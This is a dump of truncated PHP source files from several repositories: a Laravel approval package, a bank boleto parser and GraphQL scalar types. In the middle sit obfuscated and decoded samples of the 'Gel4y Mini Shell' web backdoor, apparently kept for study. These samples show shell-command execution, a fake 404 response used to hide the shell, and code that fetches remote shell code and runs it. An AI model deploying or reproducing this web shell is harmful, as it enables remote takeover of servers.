mtvs/eloquent-approval | https://github.com/mtvs/eloquent-approval/blob/dc82f7575d2965a5a10455762257a295c3b58a5f/src/ApprovalEvents.php | src/ApprovalEvents.php | <?php
/**
* Created by PhpStorm.
* User: mtvs
* Date: 5/7/2018
* Time: 9:28 PM
*/
namespace Mtvs\EloquentApproval;
trait ApprovalEvents
{
/**
* Register a approving model event with the dispatcher.
*
* @param \Closure|string $callback
* @return void
*/
public static function a... | php | MIT | dc82f7575d2965a5a10455762257a295c3b58a5f | 2026-01-05T04:10:26.457226Z | false |
mtvs/eloquent-approval | https://github.com/mtvs/eloquent-approval/blob/dc82f7575d2965a5a10455762257a295c3b58a5f/src/ApprovalRequired.php | src/ApprovalRequired.php | <?php
namespace Mtvs\EloquentApproval;
trait ApprovalRequired
{
/**
* @return array
*/
public function approvalRequired()
{
return ['*'];
}
/**
* @return array
*/
public function approvalNotRequired()
{
return [];
}
/**
* Determine if mod... | php | MIT | dc82f7575d2965a5a10455762257a295c3b58a5f | 2026-01-05T04:10:26.457226Z | false |
mtvs/eloquent-approval | https://github.com/mtvs/eloquent-approval/blob/dc82f7575d2965a5a10455762257a295c3b58a5f/src/ApprovalScope.php | src/ApprovalScope.php | <?php
namespace Mtvs\EloquentApproval;
use Illuminate\Database\Eloquent\Builder;
use Illuminate\Database\Eloquent\Model;
use Illuminate\Database\Eloquent\Scope;
class ApprovalScope implements Scope
{
protected $extensions = [
'AnyApprovalStatus',
'OnlyPending',
'OnlyRejected',
'O... | php | MIT | dc82f7575d2965a5a10455762257a295c3b58a5f | 2026-01-05T04:10:26.457226Z | false |
mtvs/eloquent-approval | https://github.com/mtvs/eloquent-approval/blob/dc82f7575d2965a5a10455762257a295c3b58a5f/src/ApprovalServiceProvider.php | src/ApprovalServiceProvider.php | <?php
namespace Mtvs\EloquentApproval;
use Illuminate\Support\ServiceProvider;
use Illuminate\Database\Schema\Blueprint;
class ApprovalServiceProvider extends ServiceProvider
{
public function register()
{
$this->app->singleton(ApprovableObserver::class, function () {
return new Approvable... | php | MIT | dc82f7575d2965a5a10455762257a295c3b58a5f | 2026-01-05T04:10:26.457226Z | false |
mtvs/eloquent-approval | https://github.com/mtvs/eloquent-approval/blob/dc82f7575d2965a5a10455762257a295c3b58a5f/src/ApprovalFactoryStates.php | src/ApprovalFactoryStates.php | <?php
namespace Mtvs\EloquentApproval;
trait ApprovalFactoryStates
{
public function approved()
{
return $this->state(function ()
{
return $this->approvalState(ApprovalStatuses::APPROVED);
});
}
public function suspended()
{
return $this->state(function ()
{
return $this->approvalState(ApprovalS... | php | MIT | dc82f7575d2965a5a10455762257a295c3b58a5f | 2026-01-05T04:10:26.457226Z | false |
mtvs/eloquent-approval | https://github.com/mtvs/eloquent-approval/blob/dc82f7575d2965a5a10455762257a295c3b58a5f/src/ApprovalSchemaMethods.php | src/ApprovalSchemaMethods.php | <?php
namespace Mtvs\EloquentApproval;
class ApprovalSchemaMethods
{
public function approvals()
{
return function ($options = []) {
$this->enum($options['status_name'] ?? 'approval_status', [
'pending', 'approved', 'rejected'
]);
$this->timestamp($options['timestamp_name'] ?? 'approval_at')
->n... | php | MIT | dc82f7575d2965a5a10455762257a295c3b58a5f | 2026-01-05T04:10:26.457226Z | false |
mtvs/eloquent-approval | https://github.com/mtvs/eloquent-approval/blob/dc82f7575d2965a5a10455762257a295c3b58a5f/src/ApprovableObserver.php | src/ApprovableObserver.php | <?php
namespace Mtvs\EloquentApproval;
use Illuminate\Database\Eloquent\Model;
class ApprovableObserver
{
public function creating(Model $model)
{
$this->initializeApprovalStatus($model);
}
public function updating(Model $model)
{
$this->resetApprovalStatus($model);
}
pr... | php | MIT | dc82f7575d2965a5a10455762257a295c3b58a5f | 2026-01-05T04:10:26.457226Z | false |
mtvs/eloquent-approval | https://github.com/mtvs/eloquent-approval/blob/dc82f7575d2965a5a10455762257a295c3b58a5f/src/Approvable.php | src/Approvable.php | <?php
namespace Mtvs\EloquentApproval;
use Exception;
trait Approvable
{
use ApprovalRequired;
use ApprovalEvents;
public static function bootApprovable()
{
static::addGlobalScope(new ApprovalScope());
static::observe(ApprovableObserver::class);
}
public function getApprova... | php | MIT | dc82f7575d2965a5a10455762257a295c3b58a5f | 2026-01-05T04:10:26.457226Z | false |
mtvs/eloquent-approval | https://github.com/mtvs/eloquent-approval/blob/dc82f7575d2965a5a10455762257a295c3b58a5f/src/UiCommand.php | src/UiCommand.php | <?php
namespace Mtvs\EloquentApproval;
use Illuminate\Console\Command;
use Illuminate\Filesystem\Filesystem;
class UiCommand extends Command
{
protected $signature = 'approval:ui';
protected $description = 'Install the approval UI components';
public function handle()
{
$filesystem = new Filesystem;
$dir ... | php | MIT | dc82f7575d2965a5a10455762257a295c3b58a5f | 2026-01-05T04:10:26.457226Z | false |
mtvs/eloquent-approval | https://github.com/mtvs/eloquent-approval/blob/dc82f7575d2965a5a10455762257a295c3b58a5f/src/HandlesApproval.php | src/HandlesApproval.php | <?php
namespace Mtvs\EloquentApproval;
use Illuminate\Http\Request;
trait HandlesApproval
{
public function performApproval($key, Request $request)
{
$model = $this->findOrFail($key);
if ($request['approval_status'] == ApprovalStatuses::APPROVED) {
$result = $model->approve();
}
elseif ($request['appro... | php | MIT | dc82f7575d2965a5a10455762257a295c3b58a5f | 2026-01-05T04:10:26.457226Z | false |
mtvs/eloquent-approval | https://github.com/mtvs/eloquent-approval/blob/dc82f7575d2965a5a10455762257a295c3b58a5f/src/ApprovalStatuses.php | src/ApprovalStatuses.php | <?php
namespace Mtvs\EloquentApproval;
class ApprovalStatuses
{
const PENDING = 'pending';
const APPROVED = 'approved';
const REJECTED = 'rejected';
} | php | MIT | dc82f7575d2965a5a10455762257a295c3b58a5f | 2026-01-05T04:10:26.457226Z | false |
mtvs/eloquent-approval | https://github.com/mtvs/eloquent-approval/blob/dc82f7575d2965a5a10455762257a295c3b58a5f/tests/ApprovableTest.php | tests/ApprovableTest.php | <?php
namespace Mtvs\EloquentApproval\Tests;
use Illuminate\Support\Carbon;
use Mtvs\EloquentApproval\ApprovalStatuses;
use Mtvs\EloquentApproval\Tests\Models\Entity;
use Mtvs\EloquentApproval\Tests\Models\EntityWithCustomColumns;
class ApprovableTest extends TestCase
{
/**
* @test
*/
public functi... | php | MIT | dc82f7575d2965a5a10455762257a295c3b58a5f | 2026-01-05T04:10:26.457226Z | false |
mtvs/eloquent-approval | https://github.com/mtvs/eloquent-approval/blob/dc82f7575d2965a5a10455762257a295c3b58a5f/tests/ApprovalEventsTest.php | tests/ApprovalEventsTest.php | <?php
namespace Mtvs\EloquentApproval\Tests;
use Illuminate\Support\Arr;
use Mtvs\EloquentApproval\ApprovalStatuses;
use Mtvs\EloquentApproval\Tests\Models\Entity;
class ApprovalEventsTest extends TestCase
{
protected $actions = [
'approve',
'suspend',
'reject'
];
protected $stat... | php | MIT | dc82f7575d2965a5a10455762257a295c3b58a5f | 2026-01-05T04:10:26.457226Z | false |
mtvs/eloquent-approval | https://github.com/mtvs/eloquent-approval/blob/dc82f7575d2965a5a10455762257a295c3b58a5f/tests/TestCase.php | tests/TestCase.php | <?php
namespace Mtvs\EloquentApproval\Tests;
use Mtvs\EloquentApproval\ApprovalServiceProvider;
use Mtvs\EloquentApproval\ApprovalStatuses;
use Orchestra\Testbench\TestCase as Orchestra;
class TestCase extends Orchestra
{
protected $approvalStatuses = [
ApprovalStatuses::APPROVED,
ApprovalStatuse... | php | MIT | dc82f7575d2965a5a10455762257a295c3b58a5f | 2026-01-05T04:10:26.457226Z | false |
mtvs/eloquent-approval | https://github.com/mtvs/eloquent-approval/blob/dc82f7575d2965a5a10455762257a295c3b58a5f/tests/SuspensionOnUpdateTest.php | tests/SuspensionOnUpdateTest.php | <?php
namespace Mtvs\EloquentApproval\Tests;
use Illuminate\Database\Eloquent\Model;
use Mtvs\EloquentApproval\Approvable;
use Mtvs\EloquentApproval\Tests\Models\Entity;
use Mtvs\EloquentApproval\ApprovalStatuses;
use Illuminate\Foundation\Testing\WithFaker;
/**
*
*/
class SuspensionOnUpdateTest extends TestCase
... | php | MIT | dc82f7575d2965a5a10455762257a295c3b58a5f | 2026-01-05T04:10:26.457226Z | false |
mtvs/eloquent-approval | https://github.com/mtvs/eloquent-approval/blob/dc82f7575d2965a5a10455762257a295c3b58a5f/tests/ApprovalRequiredtTest.php | tests/ApprovalRequiredtTest.php | <?php
namespace Mtvs\EloquentApproval\Tests;
use Illuminate\Database\Eloquent\Model;
use Mtvs\EloquentApproval\Approvable;
use Mtvs\EloquentApproval\Tests\Models\Entity;
class ApprovalRequiredtTest extends TestCase
{
/**
* @test
*/
public function it_defaults_to_all_required()
{
$entity... | php | MIT | dc82f7575d2965a5a10455762257a295c3b58a5f | 2026-01-05T04:10:26.457226Z | false |
mtvs/eloquent-approval | https://github.com/mtvs/eloquent-approval/blob/dc82f7575d2965a5a10455762257a295c3b58a5f/tests/ApprovalScopeTest.php | tests/ApprovalScopeTest.php | <?php
namespace Mtvs\EloquentApproval\Tests;
use Illuminate\Support\Carbon;
use Mtvs\EloquentApproval\ApprovalScope;
use Mtvs\EloquentApproval\ApprovalStatuses;
use Mtvs\EloquentApproval\Tests\Models\Entity;
class ApprovalScopeTest extends TestCase
{
/**
* @test
*/
public function it_retrieves_only... | php | MIT | dc82f7575d2965a5a10455762257a295c3b58a5f | 2026-01-05T04:10:26.457226Z | false |
mtvs/eloquent-approval | https://github.com/mtvs/eloquent-approval/blob/dc82f7575d2965a5a10455762257a295c3b58a5f/tests/HandlesApprovalTest.php | tests/HandlesApprovalTest.php | <?php
namespace Mtvs\EloquentApproval\Tests;
use Illuminate\Contracts\Debug\ExceptionHandler;
use Illuminate\Http\Request;
use Illuminate\Pipeline\Pipeline;
use Illuminate\Testing\TestResponse;
use Mtvs\EloquentApproval\Tests\Models\Entity;
use Mtvs\EloquentApproval\HandlesApproval;
class HandlesApprovalTest extends... | php | MIT | dc82f7575d2965a5a10455762257a295c3b58a5f | 2026-01-05T04:10:26.457226Z | false |
mtvs/eloquent-approval | https://github.com/mtvs/eloquent-approval/blob/dc82f7575d2965a5a10455762257a295c3b58a5f/tests/Models/EntityWithCustomColumns.php | tests/Models/EntityWithCustomColumns.php | <?php
namespace Mtvs\EloquentApproval\Tests\Models;
use Mtvs\EloquentApproval\Approvable;
class EntityWithCustomColumns
{
use Approvable;
const APPROVAL_STATUS = 'custom_approval_status';
const APPROVAL_AT = 'custom_approval_at';
} | php | MIT | dc82f7575d2965a5a10455762257a295c3b58a5f | 2026-01-05T04:10:26.457226Z | false |
mtvs/eloquent-approval | https://github.com/mtvs/eloquent-approval/blob/dc82f7575d2965a5a10455762257a295c3b58a5f/tests/Models/Entity.php | tests/Models/Entity.php | <?php
namespace Mtvs\EloquentApproval\Tests\Models;
use Illuminate\Database\Eloquent\Model;
use Illuminate\Database\Eloquent\Factories\HasFactory;
use Mtvs\EloquentApproval\Approvable;
use Mtvs\EloquentApproval\Tests\Database\Factories\EntityFactory;
class Entity extends Model
{
use Approvable, HasFactory;
... | php | MIT | dc82f7575d2965a5a10455762257a295c3b58a5f | 2026-01-05T04:10:26.457226Z | false |
mtvs/eloquent-approval | https://github.com/mtvs/eloquent-approval/blob/dc82f7575d2965a5a10455762257a295c3b58a5f/tests/database/factories/EntityFactory.php | tests/database/factories/EntityFactory.php | <?php
namespace Mtvs\EloquentApproval\Tests\Database\Factories;
use Illuminate\Database\Eloquent\Factories\Factory;
use Mtvs\EloquentApproval\ApprovalFactoryStates;
use Mtvs\EloquentApproval\Tests\Models\Entity;
class EntityFactory extends Factory
{
use ApprovalFactoryStates;
protected $model = Entity::clas... | php | MIT | dc82f7575d2965a5a10455762257a295c3b58a5f | 2026-01-05T04:10:26.457226Z | false |
mtvs/eloquent-approval | https://github.com/mtvs/eloquent-approval/blob/dc82f7575d2965a5a10455762257a295c3b58a5f/tests/database/migrations/2017_11_15_085536_create_entities_table.php | tests/database/migrations/2017_11_15_085536_create_entities_table.php | <?php
use Illuminate\Support\Facades\Schema;
use Illuminate\Database\Schema\Blueprint;
use Illuminate\Database\Migrations\Migration;
class CreateEntitiesTable extends Migration
{
/**
* Run the migrations.
*
* @return void
*/
public function up()
{
Schema::create('entities', fun... | php | MIT | dc82f7575d2965a5a10455762257a295c3b58a5f | 2026-01-05T04:10:26.457226Z | false |
manoelcampos/retorno-boletophp | https://github.com/manoelcampos/retorno-boletophp/blob/93be66506b974050da89dadbed6f57b99e3c2b2a/src/ManoelCampos/RetornoBoleto/LinhaArquivo.php | src/ManoelCampos/RetornoBoleto/LinhaArquivo.php | <?php
namespace ManoelCampos\RetornoBoleto;
/**
* Dados de uma linha lida de um arquivo de retorno de boleto bancário.
*
* @license <a href="https://opensource.org/licenses/MIT">MIT License</a>
* @author <a href="http://manoelcampos.com/contact">Manoel Campos da Silva Filho</a>
* @version 1.1
*/
class LinhaArq... | php | MIT | 93be66506b974050da89dadbed6f57b99e3c2b2a | 2026-01-05T04:10:38.735650Z | false |
manoelcampos/retorno-boletophp | https://github.com/manoelcampos/retorno-boletophp/blob/93be66506b974050da89dadbed6f57b99e3c2b2a/src/ManoelCampos/RetornoBoleto/RetornoAbstract.php | src/ManoelCampos/RetornoBoleto/RetornoAbstract.php | <?php
namespace ManoelCampos\RetornoBoleto;
require_once("RetornoInterface.php");
/**
* Classe base para leitura de arquivos de retorno de cobranças dos bancos brasileiros.
* Sub classes desta classe deve implementar métodos especificos para
* o formato de arquivo de retorno que cada uma suporta.
*
* @license... | php | MIT | 93be66506b974050da89dadbed6f57b99e3c2b2a | 2026-01-05T04:10:38.735650Z | false |
manoelcampos/retorno-boletophp | https://github.com/manoelcampos/retorno-boletophp/blob/93be66506b974050da89dadbed6f57b99e3c2b2a/src/ManoelCampos/RetornoBoleto/LeituraArquivo.php | src/ManoelCampos/RetornoBoleto/LeituraArquivo.php | <?php
namespace ManoelCampos\RetornoBoleto;
/**
* Classe que implementa o design pattern Strategy,
* para leitura de arquivos de retorno de cobranças dos bancos brasileiros,
* vincular uma classe para processamento de uma carteira específica
* de arquivo de retorno, e criando uma interface única
* para a execuç... | php | MIT | 93be66506b974050da89dadbed6f57b99e3c2b2a | 2026-01-05T04:10:38.735650Z | false |
manoelcampos/retorno-boletophp | https://github.com/manoelcampos/retorno-boletophp/blob/93be66506b974050da89dadbed6f57b99e3c2b2a/src/ManoelCampos/RetornoBoleto/RetornoCNAB400Conv7.php | src/ManoelCampos/RetornoBoleto/RetornoCNAB400Conv7.php | <?php
namespace ManoelCampos\RetornoBoleto;
require_once("RetornoCNAB400.php");
/**
* Classe para leitura de arquivos de retorno de cobranças no padrão CNAB400/CBR643 com convênio de 7 posições.
* Layout Padrão CNAB/Febraban 400 posições.<p/>
*
* Baseado na documentação para "Layout de Arquivo Retorno para con... | php | MIT | 93be66506b974050da89dadbed6f57b99e3c2b2a | 2026-01-05T04:10:38.735650Z | false |
manoelcampos/retorno-boletophp | https://github.com/manoelcampos/retorno-boletophp/blob/93be66506b974050da89dadbed6f57b99e3c2b2a/src/ManoelCampos/RetornoBoleto/RetornoCNAB400Bradesco.php | src/ManoelCampos/RetornoBoleto/RetornoCNAB400Bradesco.php | <?php
namespace ManoelCampos\RetornoBoleto;
require_once("RetornoCNAB400.php");
/**
* Classe para leitura de arquivos de retorno de cobranças no padrão 400 posições do Bradesco.<br/>.
* Baseado no documento "Cobrança Bradesco - Manual Operacional para Troca de Arquivos" do Bradesco
* (arquivo layout_cobranca_po... | php | MIT | 93be66506b974050da89dadbed6f57b99e3c2b2a | 2026-01-05T04:10:38.735650Z | false |
manoelcampos/retorno-boletophp | https://github.com/manoelcampos/retorno-boletophp/blob/93be66506b974050da89dadbed6f57b99e3c2b2a/src/ManoelCampos/RetornoBoleto/RetornoInterface.php | src/ManoelCampos/RetornoBoleto/RetornoInterface.php | <?php
namespace ManoelCampos\RetornoBoleto;
/**
* Interface a ser implementada por classes que realizam a leitura de arquivos
* de retorno de cobranças dos bancos brasileiros.
*
* @license <a href="https://opensource.org/licenses/MIT">MIT License</a>
* @author <a href="http://manoelcampos.com/contact">Manoel C... | php | MIT | 93be66506b974050da89dadbed6f57b99e3c2b2a | 2026-01-05T04:10:38.735650Z | false |
manoelcampos/retorno-boletophp | https://github.com/manoelcampos/retorno-boletophp/blob/93be66506b974050da89dadbed6f57b99e3c2b2a/src/ManoelCampos/RetornoBoleto/RetornoCNAB240Sicoob.php | src/ManoelCampos/RetornoBoleto/RetornoCNAB240Sicoob.php | <?php
namespace ManoelCampos\RetornoBoleto;
require_once("RetornoAbstract.php");
/**
* Classe para leitura_arquivos_retorno_cobranças_padrão CNAB240 para Banco Sicoob.
* Layout Padrão <a href="http://www.febraban.org.br">Febraban</a> 240 posições V08.4 de 01/09/2009.<p/>
*
* @license <a href="https://opensource.... | php | MIT | 93be66506b974050da89dadbed6f57b99e3c2b2a | 2026-01-05T04:10:38.735650Z | false |
manoelcampos/retorno-boletophp | https://github.com/manoelcampos/retorno-boletophp/blob/93be66506b974050da89dadbed6f57b99e3c2b2a/src/ManoelCampos/RetornoBoleto/RetornoFactory.php | src/ManoelCampos/RetornoBoleto/RetornoFactory.php | <?php
namespace ManoelCampos\RetornoBoleto;
require_once("RetornoCNAB240.php");
require_once("RetornoCNAB400.php");
require_once("RetornoCNAB400Abstract.php");
require_once("RetornoCNAB400Conv7.php");
require_once("RetornoCNAB400Bradesco.php");
require_once("RetornoCNAB240Sicoob.php");
/**
* Classe que identifica o... | php | MIT | 93be66506b974050da89dadbed6f57b99e3c2b2a | 2026-01-05T04:10:38.735650Z | false |
manoelcampos/retorno-boletophp | https://github.com/manoelcampos/retorno-boletophp/blob/93be66506b974050da89dadbed6f57b99e3c2b2a/src/ManoelCampos/RetornoBoleto/RetornoCNAB400Abstract.php | src/ManoelCampos/RetornoBoleto/RetornoCNAB400Abstract.php | <?php
namespace ManoelCampos\RetornoBoleto;
require_once("RetornoAbstract.php");
/**
* Classe abstrata para leitura de arquivos de retorno de cobranças no padrão CNAB400/CBR643.
* Layout Padrão CNAB/Febraban 400 posições.<p/>
*
* Baseado na documentação para "Layout de Arquivo Retorno para Convênios
* na faixa... | php | MIT | 93be66506b974050da89dadbed6f57b99e3c2b2a | 2026-01-05T04:10:38.735650Z | false |
manoelcampos/retorno-boletophp | https://github.com/manoelcampos/retorno-boletophp/blob/93be66506b974050da89dadbed6f57b99e3c2b2a/src/ManoelCampos/RetornoBoleto/ProcessarLinhaObservable.php | src/ManoelCampos/RetornoBoleto/ProcessarLinhaObservable.php | <?php
namespace ManoelCampos\RetornoBoleto;
/**
* Interface para implementar um objeto observável do padrão Observer.
* Objetos que implemtam esta interface notificarão objetos que implementam
* a interface @see ProcessaLinhaObserver sempre que uma linha
* for lida de um arquivo de retorno sendo processado.
*
... | php | MIT | 93be66506b974050da89dadbed6f57b99e3c2b2a | 2026-01-05T04:10:38.735650Z | false |
manoelcampos/retorno-boletophp | https://github.com/manoelcampos/retorno-boletophp/blob/93be66506b974050da89dadbed6f57b99e3c2b2a/src/ManoelCampos/RetornoBoleto/RetornoCNAB400.php | src/ManoelCampos/RetornoBoleto/RetornoCNAB400.php | <?php
namespace ManoelCampos\RetornoBoleto;
require_once("RetornoCNAB400Abstract.php");
/**
* Classe para leitura_arquivos_retorno_cobranças_padrão CNAB400.
* Layout Padrão CNAB/Febraban 400 posições.<p/>
*
* Baseado na documentação para "Layout de Arquivo Retorno para Convênios
* na faixa numérica entre 000.0... | php | MIT | 93be66506b974050da89dadbed6f57b99e3c2b2a | 2026-01-05T04:10:38.735650Z | false |
manoelcampos/retorno-boletophp | https://github.com/manoelcampos/retorno-boletophp/blob/93be66506b974050da89dadbed6f57b99e3c2b2a/src/ManoelCampos/RetornoBoleto/RetornoCNAB240.php | src/ManoelCampos/RetornoBoleto/RetornoCNAB240.php | <?php
namespace ManoelCampos\RetornoBoleto;
require_once("RetornoAbstract.php");
/**
* Classe para leitura_arquivos_retorno_cobranças_padrão CNAB240.
* Layout Padrão <a href="http://www.febraban.org.br">Febraban</a> 240 posições V08.4 de 01/09/2009.<p/>
*
* @license <a href="https://opensource.org/licenses/MIT... | php | MIT | 93be66506b974050da89dadbed6f57b99e3c2b2a | 2026-01-05T04:10:38.735650Z | false |
AabyssZG/Gel4y-Mini-Shell-Backdoor-Decode | https://github.com/AabyssZG/Gel4y-Mini-Shell-Backdoor-Decode/blob/9d8bab18d4302cef6607e5febef03786c1bceac3/Gel4y-Mini-Shell-1_original.php | Gel4y-Mini-Shell-1_original.php | <?php error_reporting(0);goto PP; BK: function tC($ZJ) { goto rT; rT: $dL = "t\x65mpnam"("sys_g\x65t_t\x65mp_d\x69r"(), "\164\x6d\x70\137\x66\x75\x6e\x63"); goto hq; lJ: unlink($dL); goto Il; Il: return $dm; goto Uc; pM: $dm = (include $dL); goto lJ; hq: file_put_contents($dL, "\74\77\160\150\x70\40{$ZJ}"); goto pM; U... | php | MIT | 9d8bab18d4302cef6607e5febef03786c1bceac3 | 2026-01-05T04:10:56.959908Z | false |
AabyssZG/Gel4y-Mini-Shell-Backdoor-Decode | https://github.com/AabyssZG/Gel4y-Mini-Shell-Backdoor-Decode/blob/9d8bab18d4302cef6607e5febef03786c1bceac3/Gel4y-Mini-Shell-3_decode.php | Gel4y-Mini-Shell-3_decode.php | <?php
http_response_code(404);
define("FmHaNw7Sd4", "Gel4y Mini Shell");
if (isset($_GET['l'])) {
$EEfZ6TZDdb = RxEfBN6HEy($_GET['l']);
chdir($EEfZ6TZDdb);
} else {
$EEfZ6TZDdb = getcwd();
}
function ZiOdpZ7NRe($uzNaDUYhmE)
{
if (function_exists('system')) {
@ob_start();
@system($uzNaDUY... | php | MIT | 9d8bab18d4302cef6607e5febef03786c1bceac3 | 2026-01-05T04:10:56.959908Z | true |
AabyssZG/Gel4y-Mini-Shell-Backdoor-Decode | https://github.com/AabyssZG/Gel4y-Mini-Shell-Backdoor-Decode/blob/9d8bab18d4302cef6607e5febef03786c1bceac3/Gel4y-Mini-Shell-3_original.php | Gel4y-Mini-Shell-3_original.php | <?php
http_response_code(404);
goto YYviAIE2go;
DMDVAvNxme:
$j6fm9JkXX3 = new ZipArchive();
goto iQnuU7UbQZ;
YtyLK4CiZm:
lXPtdPwHZr:
goto CAzQINwyXp;
uuEMYRcWJf:
?>" class="form-control">
</div>
<div class="form-group">
<button type="submit" name="s" class="btn btn-outline-light rounded-0">Connect</button>
</div>
</for... | php | MIT | 9d8bab18d4302cef6607e5febef03786c1bceac3 | 2026-01-05T04:10:56.959908Z | true |
AabyssZG/Gel4y-Mini-Shell-Backdoor-Decode | https://github.com/AabyssZG/Gel4y-Mini-Shell-Backdoor-Decode/blob/9d8bab18d4302cef6607e5febef03786c1bceac3/gel4y-enc.php | gel4y-enc.php | <?php
error_reporting(0);
http_response_code(404);
define("Yp", "Gel4y Mini Shell");
$G3 = "scandir";
$c8 = array("7068705f756e616d65", "70687076657273696f6e", "676574637764", "6368646972", "707265675f73706c6974", "61727261795f64696666", "69735f646972", "69735f66696c65", "69735f7772697461626c65", "69735f7265616461626c6... | php | MIT | 9d8bab18d4302cef6607e5febef03786c1bceac3 | 2026-01-05T04:10:56.959908Z | false |
AabyssZG/Gel4y-Mini-Shell-Backdoor-Decode | https://github.com/AabyssZG/Gel4y-Mini-Shell-Backdoor-Decode/blob/9d8bab18d4302cef6607e5febef03786c1bceac3/Gel4y-Mini-Shell-1_decode.php | Gel4y-Mini-Shell-1_decode.php | <?php
error_reporting(0);
function gW($F9)
{
$F9 = base64_decode($F9);
$ik = 0;
while ($ik < strlen($F9)) {
$F9[$ik] = chr(ord($F9[$ik]) - 1);
$ik++;
}
return $F9;
}
function tC($ZJ)
{
$dL = ("tempnam")(("sys_get_temp_dir")(), "tmp_func");
file_put_contents($dL, "<?php {$ZJ}"... | php | MIT | 9d8bab18d4302cef6607e5febef03786c1bceac3 | 2026-01-05T04:10:56.959908Z | false |
AabyssZG/Gel4y-Mini-Shell-Backdoor-Decode | https://github.com/AabyssZG/Gel4y-Mini-Shell-Backdoor-Decode/blob/9d8bab18d4302cef6607e5febef03786c1bceac3/Gel4y-Mini-Shell-2_original.php | Gel4y-Mini-Shell-2_original.php | <?php
/* __________________________________________________ | Obfuscated by YAK Pro - Php Obfuscator 2.0.14 | | on 2023-12-03 17:56:35 | | GitHub: https://github.com/pk-fr/yakpro-po | |__________________________________________________| */ goto Fw; A6: function tv($rR) { goto D7; iC: $ZC = (include $y5); goto pi; Nj: ... | php | MIT | 9d8bab18d4302cef6607e5febef03786c1bceac3 | 2026-01-05T04:10:56.959908Z | false |
AabyssZG/Gel4y-Mini-Shell-Backdoor-Decode | https://github.com/AabyssZG/Gel4y-Mini-Shell-Backdoor-Decode/blob/9d8bab18d4302cef6607e5febef03786c1bceac3/Gel4y-Mini-Shell-2_decode.php | Gel4y-Mini-Shell-2_decode.php | <?php
$hS = curl_init();
curl_setopt_array($hS, array(CURLOPT_URL => "https://raw.githubusercontent.com/22XploiterCrew-Team/Gel4y-Mini-Shell-Backdoor/dev/gelay.php", CURLOPT_SSL_VERIFYHOST => FALSE, CURLOPT_SSL_VERIFYPEER => FALSE, CURLOPT_RETURNTRANSFER => TRUE));
$rL = curl_exec($hS);
curl_close($hS);
function tv($rR... | php | MIT | 9d8bab18d4302cef6607e5febef03786c1bceac3 | 2026-01-05T04:10:56.959908Z | false |
mll-lab/graphql-php-scalars | https://github.com/mll-lab/graphql-php-scalars/blob/a8acdfedfc0559fdefef7c880f534a2bb398635b/.php-cs-fixer.php | .php-cs-fixer.php | <?php declare(strict_types=1);
use function MLL\PhpCsFixerConfig\risky;
$finder = PhpCsFixer\Finder::create()
->notPath('vendor')
->in(__DIR__)
->name('*.php')
->ignoreDotFiles(true)
->ignoreVCS(true);
return risky($finder);
| php | MIT | a8acdfedfc0559fdefef7c880f534a2bb398635b | 2026-01-05T04:11:06.032588Z | false |
mll-lab/graphql-php-scalars | https://github.com/mll-lab/graphql-php-scalars/blob/a8acdfedfc0559fdefef7c880f534a2bb398635b/src/Regex.php | src/Regex.php | <?php declare(strict_types=1);
namespace MLL\GraphQLScalars;
use GraphQL\Error\Error;
use GraphQL\Error\InvariantViolation;
use GraphQL\Type\Definition\ScalarType;
use GraphQL\Utils\Utils as GraphQLUtils;
use Spatie\Regex\Regex as RegexValidator;
abstract class Regex extends ScalarType
{
/**
* This factory ... | php | MIT | a8acdfedfc0559fdefef7c880f534a2bb398635b | 2026-01-05T04:11:06.032588Z | false |
mll-lab/graphql-php-scalars | https://github.com/mll-lab/graphql-php-scalars/blob/a8acdfedfc0559fdefef7c880f534a2bb398635b/src/NullScalar.php | src/NullScalar.php | <?php declare(strict_types=1);
namespace MLL\GraphQLScalars;
use GraphQL\Error\Error;
use GraphQL\Error\InvariantViolation;
use GraphQL\Language\AST\NullValueNode;
use GraphQL\Type\Definition\ScalarType;
class NullScalar extends ScalarType
{
public const ONLY_NULL_IS_ALLOWED = 'Only null is allowed.';
publi... | php | MIT | a8acdfedfc0559fdefef7c880f534a2bb398635b | 2026-01-05T04:11:06.032588Z | false |
mll-lab/graphql-php-scalars | https://github.com/mll-lab/graphql-php-scalars/blob/a8acdfedfc0559fdefef7c880f534a2bb398635b/src/MixedScalar.php | src/MixedScalar.php | <?php declare(strict_types=1);
namespace MLL\GraphQLScalars;
use GraphQL\Type\Definition\ScalarType;
use GraphQL\Utils\AST;
class MixedScalar extends ScalarType
{
public string $name = 'Mixed';
public ?string $description = /** @lang Markdown */ <<<'DESCRIPTION'
Loose type that allows any value. Be ... | php | MIT | a8acdfedfc0559fdefef7c880f534a2bb398635b | 2026-01-05T04:11:06.032588Z | false |
mll-lab/graphql-php-scalars | https://github.com/mll-lab/graphql-php-scalars/blob/a8acdfedfc0559fdefef7c880f534a2bb398635b/src/StringScalar.php | src/StringScalar.php | <?php declare(strict_types=1);
namespace MLL\GraphQLScalars;
use GraphQL\Error\Error;
use GraphQL\Error\InvariantViolation;
use GraphQL\Type\Definition\ScalarType;
use GraphQL\Utils\Utils as GraphQLUtils;
abstract class StringScalar extends ScalarType
{
/**
* Instantiate an anonymous subclass that can be us... | php | MIT | a8acdfedfc0559fdefef7c880f534a2bb398635b | 2026-01-05T04:11:06.032588Z | false |
mll-lab/graphql-php-scalars | https://github.com/mll-lab/graphql-php-scalars/blob/a8acdfedfc0559fdefef7c880f534a2bb398635b/src/DateTimeTz.php | src/DateTimeTz.php | <?php declare(strict_types=1);
namespace MLL\GraphQLScalars;
class DateTimeTz extends DateScalar
{
public ?string $description /** @lang Markdown */
= 'A datetime string with format `Y-m-d\TH:i:s.uP`, e.g. `2020-04-20T16:20:04.000000+04:00`.';
protected static function outputFormat(): string
{
... | php | MIT | a8acdfedfc0559fdefef7c880f534a2bb398635b | 2026-01-05T04:11:06.032588Z | false |
mll-lab/graphql-php-scalars | https://github.com/mll-lab/graphql-php-scalars/blob/a8acdfedfc0559fdefef7c880f534a2bb398635b/src/Date.php | src/Date.php | <?php declare(strict_types=1);
namespace MLL\GraphQLScalars;
class Date extends DateScalar
{
public ?string $description /** @lang Markdown */
= 'A date string with format `Y-m-d`, e.g. `2011-05-23`.';
protected static function outputFormat(): string
{
return 'Y-m-d';
}
protected... | php | MIT | a8acdfedfc0559fdefef7c880f534a2bb398635b | 2026-01-05T04:11:06.032588Z | false |
mll-lab/graphql-php-scalars | https://github.com/mll-lab/graphql-php-scalars/blob/a8acdfedfc0559fdefef7c880f534a2bb398635b/src/Email.php | src/Email.php | <?php declare(strict_types=1);
namespace MLL\GraphQLScalars;
use Egulias\EmailValidator\EmailValidator;
use Egulias\EmailValidator\Validation\RFCValidation;
class Email extends StringScalar
{
